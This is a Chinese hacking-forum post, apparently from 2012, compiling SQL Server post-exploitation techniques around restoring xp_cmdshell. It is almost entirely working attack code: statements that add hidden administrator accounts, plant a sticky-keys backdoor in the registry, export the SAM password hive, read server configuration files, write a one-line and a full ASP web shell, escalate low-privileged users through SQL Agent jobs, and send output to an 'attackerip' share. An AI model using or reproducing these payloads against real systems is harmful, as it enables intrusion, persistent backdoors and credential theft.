找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2509|回复: 0
打印 上一主题 下一主题

XP_CMDSHELL恢复方法大全

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:37:30 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号: l0 Z. Q" M% F7 l, _; c7 y
恢复方法:查询分离器连接后,: g# b: E9 v; ]
第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int . a8 M$ n* a) m: |$ I+ g0 h1 V
第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  g# X4 M! ~# E% ^4 |然后按F5键命令执行完毕) k; h, @* f3 }+ X3 ~- l
1 g' n2 c: H  E* c; {
2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
. J: T2 }0 ^' h恢复方法:查询分离器连接后,( X# N# w  U( R
第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"8 X+ C1 y/ n. L# m) q4 S8 q
第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
5 g$ k3 I1 w: _然后按F5键命令执行完毕
( Y0 |3 Q& M4 F6 Y  B5 u  x) N% ]; y
3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。); V1 N, g9 V& Q5 m( i
恢复方法:查询分离器连接后,
: C  E$ s1 i0 t* \# v. M7 ~第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
6 }( M: p" R: C) ~) g/ k第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
" Z# a1 Z8 Z6 f9 P* e& H# ~然后按F5键命令执行完毕
+ z- \3 [% b' o2 @+ w6 T
4 q3 S8 _: A% ^+ v& J# L4 终极方法.) T2 w( C5 t/ D, }7 z$ L
如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
. H; P- Q. j/ K  D查询分离器连接后,
7 x/ o. h& \3 w' _2000servser系统:
2 ^% V6 k; k; l* t- |* [declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'4 v0 p- O& j; Z

, V3 P+ x8 [/ v. zdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'
) {8 i9 n3 t5 o
/ |! B7 R) T* X$ k0 J# v1 P- c/ q, Hxp或2003server系统:1 U' C6 O! O: E2 B
$ B' E, z% N  D5 P
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add': M8 X" B9 E" D3 b

: I" \5 E3 C" f7 adeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
0 V/ B9 W; k8 a2 R8 W& T; B( R2 F0 u2 P& }" d5 P

- S! Z0 [- L' M5 y$ d7 C五个SHIFT$ U2 [2 ?/ h2 j8 y
declare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';' u$ h  c5 S" K

2 N2 c8 h9 T7 {+ e8 Fdeclare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
& v$ w) i+ e( I9 @( f/ M# s! [9 z5 s* T$ G( [. r
xp_cmdshell执行命令另一种方法: S7 k6 `- R8 \
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add' ; y# m  y+ e2 B- H$ ~+ C0 f

- X* ?! j9 @( y# H4 Z判断存储扩展是否存在
8 M1 P# j6 _% iSelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
" p0 g) }% |- d7 P  A4 P返回结果为1就OK  r/ |( @- T+ p
. X" t$ ?- V, t$ v) J- t# D" i& ?5 r& g

4 Z6 B7 @( r3 ^$ B上传xplog70.dll恢复xp_cmdshell语句:- o* b% c8 V6 d" w
sp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'  o' T- e- ~6 @- p5 L  P3 ~

2 H/ h4 j% L% j0 }4 k否则上传xplog7.0.dll
  I% I3 j0 n. N5 zExec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'& t4 G' o% w, j1 F" b% X

3 r; ?. @/ Z* L4 r
( {# b7 [+ }1 F1 w, u
+ U; Y1 M) S- M) o首先开启沙盘模式:; X4 E/ z' G. A4 x+ Q, e; B
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
- A# F/ f' \7 B* L% h9 X' }+ e- {( y) O. \( {: M- x
然后利用jet.oledb执行系统命令4 I8 P: L. y0 {* d
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")')- G; n, o& F4 ]; a
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了
1 _, s: n# n1 M3 Y- O7 @* w$ G- ^; S/ N8 [; }
9 q, O3 J$ K& n2 ^4 X
! [% s: O* z" y7 ^7 ?
恢复过程sp_addextendedproc 如下: - E* i' e1 V* d9 m
create procedure sp_addextendedproc --- 1996/08/30 20:13 9 r% x: L8 u1 H
@functname nvarchar(517),/* (owner.)name of function to call */ ) G; c# \3 l/ w/ x" c
@dllname varchar(255)/* name of DLL containing function */ & D4 L% g$ b# V* e
as : p% g, ~, c7 [0 e* I5 Y. w* F
set implicit_transactions off
5 v% j6 q  d0 A# K0 ]9 G/ z7 I( {& A8 ]if @@trancount > 0
1 V4 u; Q: N  d, ibegin
( x, c, f8 {  p& A6 lraiserror(15002,-1,-1,'sp_addextendedproc')
6 Q2 |- q1 U9 Zreturn (1) % E/ P5 k2 j5 ?) m- \7 w
end
, r5 L1 p! v. i# h3 x' c- u  Sdbcc addextendedproc( @functname, @dllname) " u' |9 n9 S- b, e
return (0) -- sp_addextendedproc
- Q5 d$ _& t) xGO
5 x' j7 L9 k4 t
. R) B* I+ F8 ^3 K+ F7 j
& T  \' g$ D7 n, q% x% G$ Q" g1 n3 V& V) |. N1 t4 g% F
导出管理员密码文件
6 M; D" N+ k* W* @  J: zsa默认可以读sam键.应该。
6 p; u8 G& X! ^, S) w) @reg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
0 M, B; j$ g) j% gnet user administrator test
# ?/ b" `0 U! \& ^$ N; {9 R; i; H用administrator登陆.2 C2 \! {7 l* O5 q4 m. h/ E
用完机器后
- w. B% b6 X5 P, S1 lreg import c:\test.reg
! h1 Y& ?8 z7 F  E! @根本不用克隆., I, z# ^  F: _4 D
找到对应的sid. : O+ ]- h- m# }  W. F

, S6 q' J5 j* ^' w  }$ s% b- I$ L( }$ h0 R+ u, K0 N; @. q% x; R

' _% o) T) i3 x, e3 e恢复所有存储过程
' u$ n7 J: G' @* |use master 6 e6 M9 E; F( D/ J
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
$ s7 h2 \/ G5 a7 }6 @, ^exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
' K; [$ Y/ C8 \1 e7 H( i* yexec sp_addextendedproc xp_loginconfig,'xplog70.dll'
- r& i! d/ X4 D% P) \* u- Z: fexec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
: K+ f4 L; m/ [& O( H9 B- d5 rexec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
! \& }7 r  F8 V& J* @exec sp_addextendedproc sp_OACreate,'odsole70.dll'
) P2 N0 p5 C: Y! D/ Nexec sp_addextendedproc sp_OADestroy,'odsole70.dll' 7 P- `# u  o' g" P# B
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
) h3 ~7 Y" q1 h  y8 b9 xexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' 5 z" g2 p7 H- |! f) ^) D
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' # }2 G6 X+ G, ^
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll' $ d( g) T+ D) C- W
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
  h6 c# L% z6 w6 kexec sp_addextendedproc xp_regaddmultistring,'xpstar.dll' $ Q% q6 V6 O7 G: J5 r9 @4 X* f  a$ \
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll' % ?& ]8 q9 y7 y/ y( f7 @
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
' g3 b5 o0 u0 H* u: Zexec sp_addextendedproc xp_regenumvalues,'xpstar.dll' / j; R# T: o) A6 Y) M1 T/ K
exec sp_addextendedproc xp_regread,'xpstar.dll' & u; d: p5 i5 {1 T$ F# [) }: D' \' a
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll' 3 b. ?! s1 t3 ]( n1 N4 b3 P
exec sp_addextendedproc xp_regwrite,'xpstar.dll' 5 _* X* @: s. \
exec sp_addextendedproc xp_availablemedia,'xpstar.dll') A3 p6 I! o1 P; D5 G3 H

, K& D# O1 W( e  W$ _" O9 _. _/ E, p% R8 l5 z' {3 U8 k
建立读文件的存储过程
5 |5 L/ A+ k3 s) \, NCreate proc sp_readTextFile @filename sysname
( E) v7 m: E; W0 a5 k( r2 ?& gas
4 \" u: e; R: }' `# R
, o! D2 ^+ `' E6 B    begin 8 v2 C! J6 q/ s) B2 _
    set nocount on * K9 d# f6 u# E  j) K
    Create table #tempfile (line varchar(8000))' I3 i& o1 \( t
    exec ('bulk insert #tempfile from "' + @filename + '"')
. h1 u8 J! ]& j    select * from #tempfile
: j' n/ V8 K0 O) ]: Z    drop table #tempfile4 v7 _3 S- @$ R$ q
End
+ c" |* e+ G  L5 w' K
4 J; t" s6 H- W5 J% ]exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件4 d0 z. v/ N; X6 w3 G; ~4 }  m
查看登录用户7 g% R* A2 C7 ~) t/ X% i; X
Select * from sysxlogins
8 d# y- ?  J* D  Q! H2 Z
9 K( `% i; e0 G* v把文件内容读取到表中
/ z  V5 a  s! KBULK INSERT tmp from "c:\test.txt"
$ G7 L; g0 w8 |% _/ Z! _  ydElete from 表名 清理表里的内容
& f& }, m# ^) ?+ M6 z! Zcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
  R8 I1 y6 |, L
* X% L  L8 h3 o$ ^* G; ]( b5 D( ~  P5 y8 h0 x" |1 @( p
加sa用户$ `1 G- h7 Z  c, a" Z) R
exec master.dbo.sp_addlogin user,pass;
$ V' M7 `. Y3 ~exec master.dbo.sp_addsrvrolemember user,sysadmin7 U% N& G* c- E9 Z% O7 T

- O# P" F, O: Q! I- u
( u# A: u* g  |4 d3 D
. y) X6 q; S- [- p& d  y" A. B% R读文件代码& b* ?7 {) G) s7 e0 n  t% ~8 T
declare @o int, @f int, @t int, @ret int. Y3 ~& c! m9 V: l
declare @line varchar(8000)8 H' l( T" z6 r4 ^6 }
exec sp_oacreate 'scripting.filesystemobject', @o out
& J1 x2 g! t3 n$ g9 [! Y& ?1 e7 Qexec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
; ]2 `# _+ ]. s6 R& ?; A, R6 pexec @ret = sp_oamethod @f, 'readline', @line out
& T( u7 ]# N" h/ V- c# xwhile( @ret = 0 )
' w7 y" W* I9 z# dbegin  }/ a+ ^0 J$ g+ Q; [1 S6 K  j
print @line3 {$ \% Q9 ~* D  v7 N: O
exec @ret = sp_oamethod @f, 'readline', @line out
2 n6 J+ U9 P4 wend
6 j) l) [  r; @+ `' ]8 W* ?# ^( V5 e* s7 r/ E
$ K. g% x5 f+ K, ^
写文件代码:+ @2 Y& c7 n& ~
declare @o int, @f int, @t int, @ret int
) Y2 H4 @2 \9 H! e+ N# W/ I! {exec sp_oacreate 'scripting.filesystemobject', @o out
: L% `. Q) X: bexec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1* c( p3 G) i7 \) t
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》: \% N3 m( @- M

* g  h: p; e3 H2 Z  O. _
/ o  h' g/ Q5 @: y' B3 S添加lake2 shell$ l% s% n5 m% E
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'8 ^6 [3 Q) ^" w7 f" j
sp_dropextendedproc xp_lake2
1 [9 W* j# ^/ Q( Y. v2 |& U; gEXEC xp_lake2 'net user'
$ q7 z5 G& o( V& z4 |3 k2 {6 X! e* p* ]& u% y. Y

% S3 o  U. Q2 _( r2 Z. Y: x9 U得到硬盘文件信息
2 ]6 S, c' X) F8 d4 \2 g--参数说明:目录名,目录深度,是否显示文件 3 R2 Z2 Q5 s4 n) |! Y
execute master..xp_dirtree 'c:' 5 A% n! i0 E  W4 ]8 }8 G
execute master..xp_dirtree 'c:',1
. E0 _3 a1 L' I$ kexecute master..xp_dirtree 'c:',1,1 ' s( _* \8 O$ Z7 C  J& m

& T4 S0 C/ e5 F9 s* P) H( b& G& [/ `- I+ ^8 D" e0 I+ j
读serv-u配置信息
: U( o7 [* V* X' wexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'+ X/ h! G9 ^$ D. ], c' S9 ]' z
exec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'
. C' a. S' w5 }- R3 `4 A. R. t7 v5 [* W7 S$ Z  n
通过xp_regwrite写SHIFT后门
1 T1 ?+ Q: D* i, a( W, j/ U! Hexec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--& r/ H9 |( V, E$ c1 y

' I2 A9 v# v! R; Q: }- [& w# M0 m: j! C- q  M

% r% b: U6 H) n' W, q3 g找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';6 x4 r& v* B! e0 [* j3 o  ~
exec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了0 N7 l( M: }' x& Z

6 h5 v( L5 ~# c* w6 q$ U% wEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
3 G+ g8 e. P( ?9 d$ }. R3 H$ Y
" n# x+ ]1 }. {9 o" F( p( s2 G! p2 G
% F7 W. J, u3 o( ~( J4 c& r( B% w; I: T) H  i% h
sql server 2005下开启xp_cmdshell的办法9 I. T# I& C, _8 h8 W3 y# T

+ c5 v* ?1 v$ VEXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
' a; H" ]$ Z. {  \7 a
) @/ C6 N5 u% pSQL2005开启'OPENROWSET'支持的方法:5 b, \5 G, s* g8 U
4 o3 H( I! S: J" g" I
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
4 F- @& f# b$ u$ X, j: W; y/ T7 w6 O8 R+ ?8 a; S5 e1 q
SQL2005开启'sp_oacreate'支持的方法:6 L% f- ^' w& Z- g4 Q

' m: k6 I4 l# _3 @0 J0 `exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;, H; C1 U2 R9 e
9 L; M# F. j  T

; ~) f/ M$ l0 T  l" h* D
0 U4 V5 x* j9 w
% m" a$ K' X0 S8 A+ B; N$ |; ^2 _' N" e% _; }" S

" l8 Y1 `% s- j8 h, x) v5 U* q0 z+ i! c) I

# X+ e5 L/ F+ o: o3 ~; t: X6 P% y% K: W. h
! H, v8 I+ D# f6 V" S
0 Y5 r0 G: D9 r1 _$ L! ?  `; C
2 O+ W+ Z9 Q! i2 i6 Z: ]

5 e. ^* P8 l( l9 m1 X, ?- o: _( H- E1 H
- f( j" z0 g3 ?, A# _) w
( [" f! s" I1 B" ^: A% e
) s1 M/ i( H7 ?1 O" d

2 X# [5 h4 R7 l, Y( T0 T) E, h. v
: {( w0 b) T8 J) ~: @9 w' B- ]; Q# x- E! m2 M5 W$ O" ?

' Q: z; B4 D% O- Z" Y# g
" ?- W! c/ w& U  n+ S
' g4 a8 Z5 N7 x9 x
, T7 v: V% o, L; _) [: X  z以下方面不知道能不能成功暂且留下研究哈:' W( R1 g$ s& r3 T0 A4 }( o5 F
4)
" ^: a3 v. ~; }3 Cuse msdb; --这儿不要是master哟
1 n; F  H+ |% U/ x: u2 |# y8 |& rexec sp_add_job @job_name= czy82 ;
7 q+ W7 h# u. d" p5 F. t& A5 `exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;" n; ?7 v4 I) |; C' u
exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
! w* E6 F2 b4 L* a4 a# fexec sp_start_job @job_name= czy82 ;  o0 }2 T; U3 `: C2 a& f% j

7 n5 `, `, M& U# _! f2 P利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以
2 d/ y5 H, _7 x8 n! Y& j: J& l0 L执行tsql语句了.  g2 j: c* b' ]0 x  K
对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名1 C' N9 J9 C. V+ O9 w
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
0 L( B$ D8 s2 J/ ynet start SQLSERVERAGENT
9 s! b5 I% Y9 U* P' |* T3 {/ B
  m+ ^5 W. i. q" o5 j对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的- U: W) L) b1 F# ]
USE msdb
/ h3 i- p( S. i! oEXEC sp_add_job @job_name = GetSystemOnSQL ,% D# Y- }9 }: ?
@enabled = 1,
0 H2 N6 v4 @( ^( [4 s$ L! H@description = This will give a low privileged user access to
$ S# [8 r8 [) C; C/ Q( @xp_cmdshell ,4 ~/ L& p: \' a& z5 r: T2 K
@delete_level = 1
! T  ~- k# T. A0 tEXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
( j, y* y  H5 i$ a( l: n0 a@step_name = Exec my sql ,  F: X, ~% e& ^1 U
@subsystem = TSQL ,  L) h% I( {, I; D8 ]* l7 a
@command = exec master..xp_execresultset N select exec
% ]- a3 U. x+ N! e1 @1 d6 d6 x0 W1 c/ h1 Gmaster..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 4 n; M' N- ?. P1 }5 B  e8 d; W
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,
7 ]0 d9 ^9 q7 ^: k8 a  e+ }* R2 v6 M@server_name = 你的SQL的服务器名
$ |9 h& ?* b) O  x. m5 x" jEXEC sp_start_job @job_name = GetSystemOnSQL 7 y' [2 F% a, ~3 l  @  V1 _9 c
* o6 g6 q9 \( L7 I6 M: S% V, m
不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以
  u. ^: Y# J& [5 `- P1 W1 s7 F才让我们可以以public执行xp_cmdshell
( E, W' x5 R/ |9 U% Q
5 w0 s7 P5 O# d) U5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
4 h/ [& ?$ Z' z在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968" L& I3 S5 R  Y

1 M* a( f2 R6 [1 M1 A) x9 ]6 lUSE msdb
, @$ L  K: f( U: HEXEC sp_add_job @job_name = ArbitraryFilecreate ,
: @1 q4 r1 I# W! ^7 h@enabled = 1,3 Z" H0 n: D: F: v* R) `' b  t
@description = This will create a file called c:\sqlafc123.txt ,2 A; u0 y7 o$ r
@delete_level = 1
3 R, b: O% L! s- q# {% Q4 ~EXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,0 S! w1 r3 F/ a
@step_name = SQLAFC ,
" P* H+ X, r/ [3 G# g8 n- ]@subsystem = TSQL ,5 I- X* T- i! K  Z: o7 d
@command = select hello, this file was created by the SQL Agent. ,
% o% y4 k# j; g  d$ x' @3 c- Y& |@output_file_name = c:\sqlafc123.txt , t( u. S6 d8 o* `  F8 N1 W$ L+ Y
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,7 `7 x; H4 }4 y0 S& G6 u4 k
@server_name = SERVER_NAME : @9 `/ k2 F4 H4 d/ `; O. c
EXEC sp_start_job @job_name = ArbitraryFilecreate / T# E0 s  P, A" S

/ }' \& j. D: y! q1 H$ K: D' R如果subsystem选的是:tsql,在生成的文件的头部有如下内容
3 I7 R" R1 Z  Q& w
* G8 f6 y0 M3 o. A; e$ E: p??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:19
2 j7 q6 M( f7 ?" ^4 t1 o. g----------------------------------------------0 I! C6 L$ r" p( W& S* {# {
hello, this file was created by the SQL Agent.
$ \+ Q2 e5 t& W6 Q1 F$ [1 G4 {2 e4 s; e1 \/ }9 T  i
(1 ?????). [+ b+ Q% m/ W5 c% Q6 x9 ]
/ T' X2 s; d: c7 O$ H
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员5 }. F/ T0 g5 Q6 E" M2 n3 ^0 K; U/ Y
命令的vbs文件到启动目录!  v8 `, \3 |. _4 W, d* f* V+ c& m
1 U: X& j% y. ^! p* _% p
6)关于sp_makewebtask(可以写任意内容任意文件名的文件)
! I' N3 P: V/ E: K" n关于sp_MScopyscriptfile 看下面的例子9 l9 l  p% M1 s. D$ I$ C/ z/ ]" c
declare @command varchar(100)
! T8 [+ [/ h, p" ]6 wdeclare @scripfile varchar(200)
; {6 B' a" V$ Q! vset concat_null_yields_null off
' k4 S. c/ ~8 O1 ]# W+ ~; I* Aselect @command= dir c:\ > "\\attackerip\share\dir.txt"
9 x' d9 R8 A% ^$ Vselect @scripfile= c:\autoexec.bat > nul" | @command | rd "
  z. I5 N- u+ n- ]/ `, O. Cexec sp_MScopyscriptfile @scripfile ,
: W9 v9 k. l  t+ k( [$ g6 w8 r) _
: p4 [  P/ s1 F  u; _& _2 A& t这两个东东都还在测试试哟+ m3 M; L4 a( k6 K* f
让MSSQL的public用户得到一个本机的web shell
0 K% U& l' i9 |) ~+ ~, e
; k+ a- i6 b7 L  U" Dsp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
! o: F2 o6 h- |7 ?" {--@query= select <img src=vbscript:msgbox(now())>
0 v5 r# v; L2 S" r4 A% K, ^--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
0 x& ^- |: B, L3 `- K@query= select + ?$ I( G( [- \: @5 [5 o
<%On Error Resume Next
0 e9 S4 K) }) I  |" N  o- ?Set oscript = Server.createObject("wscript.SHELL") , k- z$ U/ I0 ^9 X2 w" ?; y
Set oscriptNet = Server.createObject("wscript.NETWORK") % U" X& B: B6 a* n# B* A
Set oFileSys = Server.createObject("scripting.FileSystemObject") 7 l: V& U4 ^/ X7 r# E& h
szCMD = Request.Form(".CMD") 8 w) P4 i9 l) h, c+ T4 k
If (szCMD <>"")Then ( ?4 r/ \  E' c; N; k2 t& l
szTempFile = "C:\" & oFileSys.GetTempName() & A" y, l! I8 {. \6 }2 w  M
Call oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) $ W/ D& L/ R. P: {
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0)
; [  }1 S6 L( m0 yEnd If %> & I& W8 Q- |% F6 \& z
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> * D8 k, r' v3 l# e
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run"> % b! M$ E4 u4 R, ~! p: B  ?
</FORM><RE> 4 D5 A2 {" t6 ]. a, z
<% If (IsObject(oFile))Then
6 J( j1 T4 D3 JOn Error Resume Next
" v( Q% m& Q' D7 F0 DResponse.Write Server.HTMLEncode(oFile.ReadAll)
: r* D% s  Z  Q' O$ IoFile.Close
+ z& d+ P! E" b: F/ @Call oFileSys.deleteFile(szTempFile, True)
0 c) t; m7 o! k  Q8 DEnd If%> # k$ W6 C1 q4 E9 u% W1 {2 W  [5 P
</BODY></HTML> 6 f% X+ q3 ^& b  m5 [3 O
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表